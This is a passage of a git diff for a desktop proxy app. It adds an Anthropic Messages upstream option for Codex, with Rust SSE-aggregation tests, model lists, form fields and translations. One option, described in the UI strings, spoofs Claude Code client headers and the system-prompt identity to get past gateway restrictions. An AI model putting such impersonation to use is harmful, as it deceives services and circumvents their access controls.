"input": [{ "role": "user", "content": "hi" }], + "tools": [ { "type": "function", "name": "noop" } ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let tool = &result["tools"][0]; + // Do not emit an explicit null description; input_schema falls back to a valid object schema. + assert!(tool.get("description").is_none()); + assert_eq!(tool["input_schema"]["type"], "object"); + } + + #[test] + fn test_request_unknown_object_tool_choice_degrades_to_auto() { + let input = json!({ + "model": "c", + "max_output_tokens": 100, + "input": [{ "role": "user", "content": "hi" }], + "tools": [{ "type": "function", "name": "x", "parameters": {"type": "object"} }], + "tool_choice": { "type": "allowed_tools", "tools": [] } + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert_eq!(result["tool_choice"], json!({ "type": "auto" })); + } + + // ==================== SSE aggregation fallback ==================== + + #[test] + fn test_anthropic_sse_aggregation_text_and_usage() { + let sse = "event: message_start\n\ +data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_1\",\"type\":\"message\",\"role\":\"assistant\",\"model\":\"claude\",\"content\":[],\"stop_reason\":null,\"usage\":{\"input_tokens\":10,\"output_tokens\":0}}}\n\n\ +event: content_block_start\n\ +data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"text\",\"text\":\"\"}}\n\n\ +event: content_block_delta\n\ +data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"text_delta\",\"text\":\"Hello\"}}\n\n\ +event: content_block_delta\n\ +data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"text_delta\",\"text\":\" world\"}}\n\n\ +event: content_block_stop\n\ +data: {\"type\":\"content_block_stop\",\"index\":0}\n\n\ +event: message_delta\n\ +data: {\"type\":\"message_delta\",\"delta\":{\"stop_reason\":\"end_turn\"},\"usage\":{\"output_tokens\":7}}\n\n\ +event: message_stop\n\ +data: {\"type\":\"message_stop\"}\n\n"; + let msg = anthropic_sse_to_message_value(sse).unwrap(); + assert_eq!(msg["content"][0]["type"], "text"); + assert_eq!(msg["content"][0]["text"], "Hello world"); + assert_eq!(msg["stop_reason"], "end_turn"); + assert_eq!(msg["usage"]["input_tokens"], 10); + assert_eq!(msg["usage"]["output_tokens"], 7); + + // The aggregated result can be converted directly into Responses. + let resp = anthropic_response_to_responses(msg).unwrap(); + assert_eq!(resp["status"], "completed"); + assert_eq!(resp["output"][0]["content"][0]["text"], "Hello world"); + } + + #[test] + fn test_anthropic_sse_aggregation_tool_use_partial_json() { + let sse = "data: {\"type\":\"message_start\",\"message\":{\"id\":\"m\",\"type\":\"message\",\"role\":\"assistant\",\"model\":\"c\",\"content\":[],\"usage\":{\"input_tokens\":1,\"output_tokens\":0}}}\n\n\ +data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"tool_use\",\"id\":\"call_1\",\"name\":\"get_weather\",\"input\":{}}}\n\n\ +data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"input_json_delta\",\"partial_json\":\"{\\\"city\\\":\"}}\n\n\ +data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"input_json_delta\",\"partial_json\":\"\\\"Tokyo\\\"}\"}}\n\n\ +data: {\"type\":\"content_block_stop\",\"index\":0}\n\n\ +data: {\"type\":\"message_delta\",\"delta\":{\"stop_reason\":\"tool_use\"},\"usage\":{\"output_tokens\":3}}\n\n"; + let msg = anthropic_sse_to_message_value(sse).unwrap(); + assert_eq!(msg["content"][0]["type"], "tool_use"); + assert_eq!(msg["content"][0]["name"], "get_weather"); + assert_eq!(msg["content"][0]["input"]["city"], "Tokyo"); + assert_eq!(msg["stop_reason"], "tool_use"); + } + + #[test] + fn test_anthropic_sse_aggregation_tool_use_input_only_in_start() { + // Parity guard with the live streaming emitter's + // `test_tool_use_input_only_in_start_event`: a gateway that carries the full tool + // `input` on content_block_start and emits NO input_json_delta must still resolve + // the same arguments (the empty-accum fallback keeps the start-carried input). + let sse = "data: {\"type\":\"message_start\",\"message\":{\"id\":\"m\",\"type\":\"message\",\"role\":\"assistant\",\"model\":\"c\",\"content\":[],\"usage\":{\"input_tokens\":1,\"output_tokens\":0}}}\n\n\ +data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"tool_use\",\"id\":\"call_1\",\"name\":\"get_weather\",\"input\":{\"city\":\"Tokyo\"}}}\n\n\ +data: {\"type\":\"content_block_stop\",\"index\":0}\n\n\ +data: {\"type\":\"message_delta\",\"delta\":{\"stop_reason\":\"tool_use\"},\"usage\":{\"output_tokens\":3}}\n\n"; + let msg = anthropic_sse_to_message_value(sse).unwrap(); + assert_eq!(msg["content"][0]["type"], "tool_use"); + assert_eq!(msg["content"][0]["name"], "get_weather"); + // Identical to the deltas-only case above — neither path may drop start input. + assert_eq!(msg["content"][0]["input"]["city"], "Tokyo"); + assert_eq!(msg["stop_reason"], "tool_use"); + } + + #[test] + fn test_anthropic_sse_aggregation_missing_message_start_errors() { + let sse = "data: {\"type\":\"content_block_stop\",\"index\":0}\n\n"; + assert!(anthropic_sse_to_message_value(sse).is_err()); + } + + #[test] + fn test_anthropic_sse_aggregation_error_event_errors() { + let sse = "data: {\"type\":\"error\",\"error\":{\"type\":\"overloaded_error\",\"message\":\"overloaded\"}}\n\n"; + assert!(anthropic_sse_to_message_value(sse).is_err()); + } + + #[test] + fn test_anthropic_sse_aggregation_tolerates_missing_trailing_blank_line() { + // The last event missing a trailing blank line (truncated stream) should still be processed. + let sse = "data: {\"type\":\"message_start\",\"message\":{\"id\":\"m\",\"type\":\"message\",\"role\":\"assistant\",\"model\":\"c\",\"content\":[],\"usage\":{\"input_tokens\":1,\"output_tokens\":0}}}\n\n\ +data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"text\",\"text\":\"hi\"}}\n\n\ +data: {\"type\":\"message_delta\",\"delta\":{\"stop_reason\":\"end_turn\"},\"usage\":{\"output_tokens\":2}}"; + let msg = anthropic_sse_to_message_value(sse).unwrap(); + assert_eq!(msg["stop_reason"], "end_turn"); + assert_eq!(msg["usage"]["output_tokens"], 2); + } + + #[test] + fn test_anthropic_sse_aggregation_truncated_output_is_incomplete() { + let sse = "data: {\"type\":\"message_start\",\"message\":{\"id\":\"m\",\"content\":[]}}\n\n\ +data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"text\",\"text\":\"partial\"}}\n\n"; + let message = anthropic_sse_to_message_value(sse).unwrap(); + let response = anthropic_response_to_responses(message).unwrap(); + assert_eq!(response["status"], "incomplete"); + assert_eq!( + response["incomplete_details"]["reason"], + "max_output_tokens" + ); + } + + #[test] + fn test_anthropic_sse_aggregation_truncated_without_output_errors() { + let sse = + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"m\",\"content\":[]}}\n\n"; + assert!(anthropic_sse_to_message_value(sse).is_err()); + } +} diff --git a/src-tauri/src/proxy/providers/transform_codex_chat.rs b/src-tauri/src/proxy/providers/transform_codex_chat.rs index b8bd0e1c8..315c0a494 100644 --- a/src-tauri/src/proxy/providers/transform_codex_chat.rs +++ b/src-tauri/src/proxy/providers/transform_codex_chat.rs @@ -80,7 +80,11 @@ impl CodexToolContext { .is_some_and(|spec| matches!(&spec.kind, CodexToolKind::Custom)) } - fn chat_name_for_response_function(&self, name: &str, namespace: Option<&str>) -> String { + pub(crate) fn chat_name_for_response_function( + &self, + name: &str, + namespace: Option<&str>, + ) -> String { if let Some(namespace) = namespace.filter(|value| !value.is_empty()) { if let Some(chat_name) = self .namespace_name_to_chat_name diff --git a/src-tauri/src/proxy/thinking_optimizer.rs b/src-tauri/src/proxy/thinking_optimizer.rs index 7bbe5d3ba..90cf892a4 100644 --- a/src-tauri/src/proxy/thinking_optimizer.rs +++ b/src-tauri/src/proxy/thinking_optimizer.rs @@ -7,7 +7,7 @@ use serde_json::{json, Value}; /// /// 三路径分发: /// - skip: haiku 模型直接跳过 -/// - adaptive: opus-4-8 / opus-4-7 / opus-4-6 / sonnet-4-6 使用 adaptive thinking +/// - adaptive: current adaptive-thinking Claude models use adaptive thinking /// - legacy: 其他模型注入 enabled thinking + budget_tokens pub fn optimize(body: &mut Value, config: &OptimizerConfig) { if !config.thinking_optimizer { @@ -73,13 +73,42 @@ pub fn optimize(body: &mut Value, config: &OptimizerConfig) { } } -fn uses_adaptive_thinking(model: &str) -> bool { - let normalized = model.replace('.', "-"); - ["opus-4-8", "opus-4-7", "opus-4-6", "sonnet-4-6"] +pub(crate) fn uses_adaptive_thinking(model: &str) -> bool { + let normalized = normalize_model_name(model); + [ + "fable-5", + "mythos-5", + "mythos-preview", + "sonnet-5", + "opus-4-8", + "opus-4-7", + "opus-4-6", + "sonnet-4-6", + ] + .iter() + .any(|needle| normalized.contains(needle)) +} + +/// Models where omitting `thinking` still leaves adaptive thinking enabled. +pub(crate) fn adaptive_thinking_is_default(model: &str) -> bool { + let normalized = normalize_model_name(model); + ["fable-5", "mythos-5", "mythos-preview", "sonnet-5"] .iter() .any(|needle| normalized.contains(needle)) } +/// Models that reject `thinking: {"type":"disabled"}`. +pub(crate) fn thinking_cannot_be_disabled(model: &str) -> bool { + let normalized = normalize_model_name(model); + ["fable-5", "mythos-5"] + .iter() + .any(|needle| normalized.contains(needle)) +} + +fn normalize_model_name(model: &str) -> String { + model.trim().to_ascii_lowercase().replace(['.', '_'], "-") +} + /// 追加 beta 标识到 anthropic_beta 数组(去重) fn append_beta(body: &mut Value, beta: &str) { match body.get_mut("anthropic_beta") { @@ -139,6 +168,21 @@ mod tests { assert!(betas.iter().any(|v| v == "context-1m-2025-08-07")); } + #[test] + fn current_generation_models_use_adaptive_thinking() { + for model in [ + "claude-sonnet-5", + "anthropic/claude-fable-5", + "claude-mythos-5", + "claude-opus-4.8", + ] { + assert!(uses_adaptive_thinking(model), "model={model}"); + } + assert!(adaptive_thinking_is_default("claude-sonnet-5")); + assert!(thinking_cannot_be_disabled("claude-fable-5")); + assert!(!thinking_cannot_be_disabled("claude-sonnet-5")); + } + #[test] fn test_adaptive_opus_4_6() { let mut body = json!({ diff --git a/src-tauri/src/services/config.rs b/src-tauri/src/services/config.rs index 93565d28f..e37215117 100644 --- a/src-tauri/src/services/config.rs +++ b/src-tauri/src/services/config.rs @@ -159,9 +159,7 @@ impl ConfigService { } let cfg_text = settings.get("config").and_then(Value::as_str); - let profile = crate::codex_config::CodexCatalogToolProfile::from_api_format( - provider.meta.as_ref().and_then(|m| m.api_format.as_deref()), - ); + let profile = crate::proxy::providers::resolve_codex_catalog_tool_profile(provider); crate::codex_config::write_codex_provider_live_with_catalog( &provider.settings_config, diff --git a/src-tauri/src/services/provider/live.rs b/src-tauri/src/services/provider/live.rs index dde293bd8..7b3451ae9 100644 --- a/src-tauri/src/services/provider/live.rs +++ b/src-tauri/src/services/provider/live.rs @@ -803,12 +803,11 @@ pub(crate) fn write_live_snapshot(app_type: &AppType, provider: &Provider) -> Re .ok_or_else(|| AppError::Config("Codex 供应商配置缺少 'auth' 字段".to_string()))?; let config_str = obj.get("config").and_then(|v| v.as_str()); - // Native (direct) Responses providers must suppress Codex's freeform - // apply_patch custom tool via the generated catalog; chat/proxy - // providers keep the default tool set. Keyed on provider.meta.apiFormat. - let profile = crate::codex_config::CodexCatalogToolProfile::from_api_format( - provider.meta.as_ref().and_then(|m| m.api_format.as_deref()), - ); + // Native (direct) Responses and Anthropic providers must suppress Codex's + // freeform apply_patch custom tool via the generated catalog; chat/proxy + // providers keep the default tool set. Uses the same Anthropic detection as + // the proxy router (apiFormat meta/settings + TOML wire_api). + let profile = crate::proxy::providers::resolve_codex_catalog_tool_profile(provider); crate::codex_config::write_codex_provider_live_with_catalog( &provider.settings_config, diff --git a/src-tauri/src/services/proxy.rs b/src-tauri/src/services/proxy.rs index 36a65c03f..72c1e8228 100644 --- a/src-tauri/src/services/proxy.rs +++ b/src-tauri/src/services/proxy.rs @@ -2190,9 +2190,7 @@ impl ProxyService { .get("auth") .ok_or_else(|| "Codex 供应商缺少 auth 配置".to_string())?; let config_str = effective_settings.get("config").and_then(|v| v.as_str()); - let profile = crate::codex_config::CodexCatalogToolProfile::from_api_format( - provider.meta.as_ref().and_then(|m| m.api_format.as_deref()), - ); + let profile = crate::proxy::providers::resolve_codex_catalog_tool_profile(&provider); crate::codex_config::write_codex_provider_live_with_catalog( &effective_settings, @@ -2459,9 +2457,7 @@ impl ProxyService { .get("auth") .ok_or_else(|| "Codex 配置缺少 auth 字段".to_string())?; let config_str = config.get("config").and_then(|v| v.as_str()); - let profile = crate::codex_config::CodexCatalogToolProfile::from_api_format( - provider.meta.as_ref().and_then(|m| m.api_format.as_deref()), - ); + let profile = crate::proxy::providers::resolve_codex_catalog_tool_profile(provider); crate::codex_config::write_codex_provider_live_with_catalog( config, @@ -2488,9 +2484,9 @@ impl ProxyService { .filter(|auth| Self::codex_auth_has_proxy_placeholder(auth)) { let config_str = config.get("config").and_then(|v| v.as_str()).unwrap_or(""); - let profile = crate::codex_config::CodexCatalogToolProfile::from_api_format( - provider.and_then(|p| p.meta.as_ref()?.api_format.as_deref()), - ); + let profile = provider + .map(crate::proxy::providers::resolve_codex_catalog_tool_profile) + .unwrap_or(crate::codex_config::CodexCatalogToolProfile::ProxyChat); let prepared_config = crate::codex_config::prepare_codex_live_config_text_with_optional_catalog( config, config_str, profile, diff --git a/src/components/providers/ProviderCard.tsx b/src/components/providers/ProviderCard.tsx index 23bd7c308..48a82a282 100644 --- a/src/components/providers/ProviderCard.tsx +++ b/src/components/providers/ProviderCard.tsx @@ -22,6 +22,7 @@ import { extractCodexBaseUrl, extractCodexExperimentalBearerToken, extractCodexWireApi, + isCodexAnthropicWireApi, isCodexChatWireApi, } from "@/utils/providerConfigUtils"; import { useProviderHealth } from "@/lib/query/failover"; @@ -220,11 +221,16 @@ export function ProviderCard({ provider.meta?.providerType === PROVIDER_TYPES.CODEX_OAUTH; const codexNeedsRouting = useMemo(() => { if (appId !== "codex" || provider.category === "official") return false; - if (provider.meta?.apiFormat === "openai_chat") return true; + if ( + provider.meta?.apiFormat === "openai_chat" || + provider.meta?.apiFormat === "anthropic" + ) + return true; const config = (provider.settingsConfig as Record)?.config; return ( typeof config === "string" && - isCodexChatWireApi(extractCodexWireApi(config)) + (isCodexChatWireApi(extractCodexWireApi(config)) || + isCodexAnthropicWireApi(extractCodexWireApi(config))) ); }, [ appId, diff --git a/src/components/providers/forms/CodexFormFields.tsx b/src/components/providers/forms/CodexFormFields.tsx index 3e752f73c..08184829b 100644 --- a/src/components/providers/forms/CodexFormFields.tsx +++ b/src/components/providers/forms/CodexFormFields.tsx @@ -36,6 +36,7 @@ import { CustomUserAgentField } from "./CustomUserAgentField"; import { LocalProxyRequestOverridesField } from "./LocalProxyRequestOverridesField"; import { cn } from "@/lib/utils"; import type { + ClaudeApiKeyField, CodexApiFormat, CodexCatalogModel, CodexChatReasoning, @@ -73,6 +74,15 @@ interface CodexFormFieldsProps { // Note: wire_api is always "responses" for Codex; apiFormat controls proxy-layer conversion apiFormat: CodexApiFormat; onApiFormatChange: (format: CodexApiFormat) => void; + // Auth field for the Anthropic Messages upstream (only used when apiFormat === "anthropic") + anthropicAuthField: ClaudeApiKeyField; + onAnthropicAuthFieldChange: (value: ClaudeApiKeyField) => void; + // Anthropic path: whether to emulate the Claude Code client + impersonateClaudeCode: boolean; + onImpersonateClaudeCodeChange: (value: boolean) => void; + // Anthropic path: output ceiling override (empty string = use default). Digits only. + maxOutputTokens: string; + onMaxOutputTokensChange: (value: string) => void; codexChatReasoning?: CodexChatReasoning; onCodexChatReasoningChange?: (value: CodexChatReasoning) => void; @@ -158,6 +168,12 @@ export function CodexFormFields({ onAutoSelectChange, apiFormat, onApiFormatChange, + anthropicAuthField, + onAnthropicAuthFieldChange, + impersonateClaudeCode, + onImpersonateClaudeCodeChange, + maxOutputTokens, + onMaxOutputTokensChange, codexChatReasoning = {}, onCodexChatReasoningChange, catalogModels = [], @@ -177,6 +193,7 @@ export function CodexFormFields({ // 思考能力随 Chat 格式显示(仅 Chat Completions 转换路径用得上);模型映射常驻 //(填了才生成 catalog)。两者都已与「路由接管」概念解耦。 const isChatFormat = apiFormat === "openai_chat"; + const isAnthropicFormat = apiFormat === "anthropic"; const canEditCatalog = Boolean(onCatalogModelsChange); const canEditReasoning = Boolean(onCodexChatReasoningChange); const supportsThinking = @@ -194,8 +211,10 @@ export function CodexFormFields({ hasRequestOverrides || catalogModels.length > 0 || apiFormat === "openai_responses" || + isAnthropicFormat || supportsThinking || - supportsEffort; + supportsEffort || + !!maxOutputTokens; const [advancedExpanded, setAdvancedExpanded] = useState(hasAnyAdvancedValue); // 预设/编辑加载填充高级值后自动展开(仅从折叠→展开,不会自动折叠) @@ -449,15 +468,118 @@ export function CodexFormFields({ defaultValue: "Responses(原生)", })} + + {t("codexConfig.upstreamFormatAnthropic", { + defaultValue: "Anthropic Messages(需开启路由)", + })} +

{t("codexConfig.upstreamFormatHint", { defaultValue: - "供应商原生是 Responses API 就选 Responses(直连,不转换格式);使用 Chat Completions 协议就选 Chat(需开启路由接管才能转换为 Chat Completions)。", + "供应商原生是 Responses API 就选 Responses(直连,不转换格式);使用 Chat Completions 协议就选 Chat;供应商只提供原生 Anthropic Messages 协议就选 Anthropic Messages。Chat 与 Anthropic Messages 均需开启路由接管才能转换为 Responses。", })}

+ + {isAnthropicFormat && ( +
+ + {t("codexConfig.anthropicAuthFieldLabel", { + defaultValue: "认证字段", + })} + + +

+ {t("codexConfig.anthropicAuthFieldHint", { + defaultValue: + "选择网关接收 API Key 的请求头:ANTHROPIC_AUTH_TOKEN 发送 Authorization: Bearer;ANTHROPIC_API_KEY 发送 x-api-key。两者只发其一。", + })} +

+
+ )} + + {isAnthropicFormat && ( +
+
+ + {t("codexConfig.impersonateClaudeCodeLabel", { + defaultValue: "模拟 Claude Code 客户端", + })} + +

+ {t("codexConfig.impersonateClaudeCodeHint", { + defaultValue: + "网关或其上游限制只能通过 Claude Code 使用时开启:伪装 User-Agent、anthropic-beta、x-app 请求头,并在系统提示首行注入 Claude Code 身份。", + })} +

+
+ +
+ )} + + {isAnthropicFormat && ( +
+ + {t("codexConfig.maxOutputTokensLabel", { + defaultValue: "最大输出 tokens", + })} + + + onMaxOutputTokensChange( + event.target.value.replace(/[^\d]/g, ""), + ) + } + placeholder={t("codexConfig.maxOutputTokensPlaceholder", { + defaultValue: "留空则使用默认 8192", + })} + /> +

+ {t("codexConfig.maxOutputTokensHint", { + defaultValue: + "Codex 不会把 model_max_output_tokens 写进请求体,默认上限 8192 容易在长回答或深度思考时被截断(stop_reason=max_tokens)。此处设置会作为 Anthropic 的 max_tokens 覆盖请求值。请勿超过该模型/网关的真实输出上限,否则可能 400。留空使用默认 8192。", + })} +

+
+ )}
)} diff --git a/src/components/providers/forms/ProviderForm.tsx b/src/components/providers/forms/ProviderForm.tsx index 190ca58cd..d5192dde5 100644 --- a/src/components/providers/forms/ProviderForm.tsx +++ b/src/components/providers/forms/ProviderForm.tsx @@ -60,6 +60,7 @@ import { } from "@/utils/providerConfigUtils"; import { mergeProviderMeta } from "@/utils/providerMetaUtils"; import { + codexApiFormatFromWireApi, extractCodexWireApi, setCodexWireApi, setCodexModelName as setCodexModelNameInConfig, @@ -131,25 +132,6 @@ type PresetEntry = { | HermesProviderPreset; }; -const codexApiFormatFromWireApi = ( - wireApi: string | undefined, -): CodexApiFormat | undefined => { - switch (wireApi?.trim().toLowerCase()) { - case "chat": - case "chat_completions": - case "chat-completions": - case "openai_chat": - case "openai-chat": - return "openai_chat"; - case "responses": - case "openai_responses": - case "openai-responses": - return "openai_responses"; - default: - return undefined; - } -}; - export const normalizeCodexCatalogModelsForSave = ( models: CodexCatalogModel[], ): CodexCatalogModel[] => { @@ -586,19 +568,43 @@ function ProviderFormFull({ const initialCodexApiFormat: CodexApiFormat = initialData?.meta?.apiFormat === "openai_chat" ? "openai_chat" - : initialData?.meta?.apiFormat === "openai_responses" - ? "openai_responses" - : (codexApiFormatFromWireApi( - extractCodexWireApi( - typeof initialData?.settingsConfig?.config === "string" - ? initialData.settingsConfig.config - : "", - ), - ) ?? "openai_responses"); + : initialData?.meta?.apiFormat === "anthropic" + ? "anthropic" + : initialData?.meta?.apiFormat === "openai_responses" + ? "openai_responses" + : (codexApiFormatFromWireApi( + extractCodexWireApi( + typeof initialData?.settingsConfig?.config === "string" + ? initialData.settingsConfig.config + : "", + ), + ) ?? "openai_responses"); const [localCodexApiFormat, setLocalCodexApiFormat] = useState(initialCodexApiFormat); + // Auth-field choice for the Anthropic Messages upstream (defaults to the Bearer form) + const initialCodexAnthropicAuthField: ClaudeApiKeyField = + initialData?.meta?.apiKeyField === "ANTHROPIC_API_KEY" + ? "ANTHROPIC_API_KEY" + : "ANTHROPIC_AUTH_TOKEN"; + const [localCodexAnthropicAuthField, setLocalCodexAnthropicAuthField] = + useState(initialCodexAnthropicAuthField); + + // Emulate the Claude Code client: off by default, enabled only when the user explicitly turns it on (true) + const [localCodexImpersonateClaudeCode, setLocalCodexImpersonateClaudeCode] = + useState(initialData?.meta?.impersonateClaudeCode === true); + + // Codex → Anthropic output ceiling override (empty string = use the 8192 default). + // Kept as a string so the numeric input can be cleared; parsed on save. + const [localCodexMaxOutputTokens, setLocalCodexMaxOutputTokens] = + useState( + typeof initialData?.meta?.maxOutputTokens === "number" && + initialData.meta.maxOutputTokens > 0 + ? String(initialData.meta.maxOutputTokens) + : "", + ); + const { configError: codexConfigError, debouncedValidate } = useCodexTomlValidation(); @@ -1502,6 +1508,28 @@ function ProviderFormFull({ category !== "official" && localApiKeyField !== "ANTHROPIC_AUTH_TOKEN" ? localApiKeyField + : appId === "codex" && + category !== "official" && + localCodexApiFormat === "anthropic" && + localCodexAnthropicAuthField !== "ANTHROPIC_AUTH_TOKEN" + ? localCodexAnthropicAuthField + : undefined, + // Off by default; persist true only for codex+anthropic when the user explicitly enables it + impersonateClaudeCode: + appId === "codex" && + category !== "official" && + localCodexApiFormat === "anthropic" && + localCodexImpersonateClaudeCode + ? true + : undefined, + // Persist only for codex+anthropic when a positive value was entered + maxOutputTokens: + appId === "codex" && + category !== "official" && + localCodexApiFormat === "anthropic" && + localCodexMaxOutputTokens.trim() !== "" && + Number(localCodexMaxOutputTokens) > 0 + ? Number(localCodexMaxOutputTokens) : undefined, isFullUrl: supportsFullUrl && category !== "official" && localIsFullUrl @@ -2142,6 +2170,12 @@ function ProviderFormFull({ onAutoSelectChange={setEndpointAutoSelect} apiFormat={localCodexApiFormat} onApiFormatChange={handleCodexApiFormatChange} + anthropicAuthField={localCodexAnthropicAuthField} + onAnthropicAuthFieldChange={setLocalCodexAnthropicAuthField} + impersonateClaudeCode={localCodexImpersonateClaudeCode} + onImpersonateClaudeCodeChange={setLocalCodexImpersonateClaudeCode} + maxOutputTokens={localCodexMaxOutputTokens} + onMaxOutputTokensChange={setLocalCodexMaxOutputTokens} codexChatReasoning={codexChatReasoning} onCodexChatReasoningChange={setCodexChatReasoning} catalogModels={codexCatalogModels} diff --git a/src/hooks/useProviderActions.ts b/src/hooks/useProviderActions.ts index 2f03eb14d..21a681b65 100644 --- a/src/hooks/useProviderActions.ts +++ b/src/hooks/useProviderActions.ts @@ -22,6 +22,7 @@ import { extractErrorMessage } from "@/utils/errorUtils"; import { openclawKeys } from "@/hooks/useOpenClaw"; import { extractCodexWireApi, + isCodexAnthropicWireApi, isCodexChatWireApi, } from "@/utils/providerConfigUtils"; @@ -165,6 +166,16 @@ export function useProviderActions( (provider.settingsConfig as Record).config, ), ))); + const isCodexAnthropicFormat = + activeApp === "codex" && + (provider.meta?.apiFormat === "anthropic" || + (typeof (provider.settingsConfig as Record)?.config === + "string" && + isCodexAnthropicWireApi( + extractCodexWireApi( + (provider.settingsConfig as Record).config, + ), + ))); // Determine why this provider requires the proxy let proxyRequiredReason: string | null = null; @@ -191,6 +202,13 @@ export function useProviderActions( proxyRequiredReason = t("notifications.proxyReasonOpenAIChat", { defaultValue: "使用 OpenAI Chat 接口格式", }); + } else if (isCodexAnthropicFormat) { + proxyRequiredReason = t( + "notifications.proxyReasonAnthropicMessages", + { + defaultValue: "使用 Anthropic Messages 接口格式", + }, + ); } else if ( activeApp === "claude-desktop" && provider.meta?.claudeDesktopMode === "proxy" diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index e0e7aca32..b05f8514b 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -1283,9 +1283,19 @@ "modelNameHint": "Specify the model to use, will be auto-updated in config.toml", "modelName": "Model Name", "upstreamFormatLabel": "Upstream Format", - "upstreamFormatHint": "Pick Responses when your provider is natively a Responses API (direct, no format conversion); pick Chat when it uses the Chat Completions protocol (requires routing takeover to convert to Chat Completions).", + "upstreamFormatHint": "Pick Responses when your provider is natively a Responses API (direct, no format conversion); pick Chat when it uses the Chat Completions protocol; pick Anthropic Messages when it only offers the native Anthropic Messages protocol. Chat and Anthropic Messages both require routing takeover to convert to Responses.", "upstreamFormatChat": "Chat Completions (routing required)", "upstreamFormatResponses": "Responses (native)", + "upstreamFormatAnthropic": "Anthropic Messages (routing required)", + "anthropicAuthFieldLabel": "Auth field", + "anthropicAuthFieldAuthToken": "ANTHROPIC_AUTH_TOKEN (Authorization)", + "anthropicAuthFieldApiKey": "ANTHROPIC_API_KEY (x-api-key)", + "anthropicAuthFieldHint": "Choose which header carries the API key to the gateway: ANTHROPIC_AUTH_TOKEN sends Authorization: Bearer; ANTHROPIC_API_KEY sends x-api-key. Only one is sent.", + "impersonateClaudeCodeLabel": "Emulate Claude Code client", + "impersonateClaudeCodeHint": "Enable when the gateway (or its upstream) restricts usage to Claude Code: spoofs the User-Agent, anthropic-beta and x-app headers, and injects the Claude Code identity as the first system prompt line.", + "maxOutputTokensLabel": "Max output tokens", + "maxOutputTokensPlaceholder": "Leave empty to use the default 8192", + "maxOutputTokensHint": "Codex does not forward model_max_output_tokens in the request body, so the default 8192 ceiling can truncate long or thinking-heavy responses (stop_reason=max_tokens). This value overrides the request's max_tokens on the Anthropic path. Do not exceed the real output ceiling of the model/gateway or it may 400. Leave empty to use the default 8192.", "upstreamModelName": "Upstream Model Name", "upstreamModelNameHint": "For Chat format, enter the real upstream model here; routing converts Codex Responses requests to Chat Completions while keeping this model.", "modelNamePlaceholder": "e.g., gpt-5-codex", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index 834d6dd0c..79a338457 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -1283,9 +1283,19 @@ "modelNameHint": "使用するモデルを指定します。config.toml に自動更新されます", "modelName": "モデル名", "upstreamFormatLabel": "上流フォーマット", - "upstreamFormatHint": "プロバイダーがネイティブ Responses API なら Responses を選択(直結、フォーマット変換なし)。Chat Completions プロトコルなら Chat を選択(Chat Completions へ変換するにはルーティング引き継ぎを有効化する必要があります)。", + "upstreamFormatHint": "プロバイダーがネイティブ Responses API なら Responses を選択(直結、フォーマット変換なし)。Chat Completions プロトコルなら Chat を選択。ネイティブ Anthropic Messages プロトコルのみ提供する場合は Anthropic Messages を選択。Chat と Anthropic Messages はどちらも Responses への変換にルーティング引き継ぎの有効化が必要です。", "upstreamFormatChat": "Chat Completions(ルーティング必須)", "upstreamFormatResponses": "Responses(ネイティブ)", + "upstreamFormatAnthropic": "Anthropic Messages(ルーティング必須)", + "anthropicAuthFieldLabel": "認証フィールド", + "anthropicAuthFieldAuthToken": "ANTHROPIC_AUTH_TOKEN(Authorization)", + "anthropicAuthFieldApiKey": "ANTHROPIC_API_KEY(x-api-key)", + "anthropicAuthFieldHint": "ゲートウェイに API キーを渡すヘッダーを選択します。ANTHROPIC_AUTH_TOKEN は Authorization: Bearer、ANTHROPIC_API_KEY は x-api-key を送信します。送信されるのはどちらか一方のみです。", + "impersonateClaudeCodeLabel": "Claude Code クライアントを模倣", + "impersonateClaudeCodeHint": "ゲートウェイ(またはその上流)が Claude Code のみに制限している場合に有効化します。User-Agent・anthropic-beta・x-app ヘッダーを偽装し、システムプロンプトの先頭行に Claude Code のアイデンティティを注入します。", + "maxOutputTokensLabel": "最大出力トークン", + "maxOutputTokensPlaceholder": "空欄の場合はデフォルトの 8192 を使用", + "maxOutputTokensHint": "Codex は model_max_output_tokens をリクエストボディに含めないため、デフォルト上限 8192 では長い回答や深い思考時に切り詰められることがあります(stop_reason=max_tokens)。この値は Anthropic 経路で max_tokens を上書きします。モデル/ゲートウェイの実際の出力上限を超えると 400 になる場合があります。空欄でデフォルトの 8192 を使用します。", "upstreamModelName": "上流モデル名", "upstreamModelNameHint": "Chat 形式ではここに実際の上流モデルを入力します。ルーティングで Codex の Responses リクエストを Chat Completions に変換し、このモデルを維持します。", "modelNamePlaceholder": "例: gpt-5-codex", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index 1d3212828..9f09c1175 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -1260,9 +1260,19 @@ "autoCompactLimitHint": "上下文 token 數達到此閾值時自動壓縮歷史", "autoCompactLimitPlaceholder": "例如: 90000", "upstreamFormatLabel": "上游格式", - "upstreamFormatHint": "供應商原生為 Responses API 就選 Responses(直連,不轉換格式);使用 Chat Completions 協定就選 Chat(需開啟路由接管才能轉換為 Chat Completions)。", + "upstreamFormatHint": "供應商原生為 Responses API 就選 Responses(直連,不轉換格式);使用 Chat Completions 協定就選 Chat;供應商只提供原生 Anthropic Messages 協定就選 Anthropic Messages。Chat 與 Anthropic Messages 均需開啟路由接管才能轉換為 Responses。", "upstreamFormatChat": "Chat Completions(需開啟路由)", "upstreamFormatResponses": "Responses(原生)", + "upstreamFormatAnthropic": "Anthropic 